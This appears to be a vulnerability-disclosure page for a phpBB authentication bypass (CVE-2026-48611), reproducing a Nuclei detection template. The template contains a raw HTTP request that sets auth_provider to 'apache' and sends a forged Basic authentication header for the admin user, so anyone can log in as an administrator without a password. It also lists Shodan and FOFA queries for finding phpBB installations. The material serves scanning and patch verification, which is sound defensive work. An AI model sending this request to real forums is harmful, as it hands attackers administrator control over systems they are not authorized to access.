CVE-2026-48611: phpBB < 3.3.17 - Authentication Bypass

2026-07-09 phpBB PoC Public

Description

phpBB before 3.3.17 contains an authentication bypass vulnerability in the login-link feature. By setting the auth_provider query parameter to "apache", an unauthenticated attacker can bypass password verification and log in as any user, including administrators. The Apache auth provider trusts the Basic authentication header username without password verification, as it assumes Apache handles authentication upstream.

PoC

id: CVE-2026-48611

info:
  name: phpBB < 3.3.17 - Authentication Bypass
  author: aikido,DhiyaneshDk
  severity: critical
  description: |
    phpBB before 3.3.17 contains an authentication bypass vulnerability in the login-link feature. By setting the auth_provider query parameter to "apache", an unauthenticated attacker can bypass password verification and log in as any user, including administrators. The Apache auth provider trusts the Basic authentication header username without password verification, as it assumes Apache handles authentication upstream.
  impact: |
    An unauthenticated attacker can log in as any user including administrators, gaining full control over the phpBB forum, leading to data theft, defacement, and complete forum takeover.
  remediation: |
    Upgrade phpBB to version 3.3.17 or later.
  reference:
    - https://www.aikido.dev/blog/authentication-bypass-phpbb-technical-writeup
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48611
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-48611
    epss-score: 0.0386
    epss-percentile: 0.89639
    cwe-id: CWE-287
    cpe: cpe:2.3:a:phpbb:phpbb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpbb
    product: phpbb
    shodan-query: http.component:"phpBB"
    fofa-query: app="phpBB"
  tags: cve,cve2026,phpbb,auth-bypass,vuln,vkev

http:
  - raw:
      - |
        POST /ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Authorization: Basic YWRtaW46eA==

        login_username=admin&login_password=x&login=Login

    matchers-condition: and
    matchers:
      - type: word
        part: set_cookie
        words:
          - "phpbb_sid"
          - "phpbb"
        condition: and

      - type: status
        status:
          - 302
# digest: 4b0a00483046022100ca1e43092f338b8259bb11ce436a201f2067b0316086604199a0688eeabb51750221008e02364b9d965a5b8167ed21c280082e710a2d5a9c855f310873df749e235fd3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-48611.yaml

References

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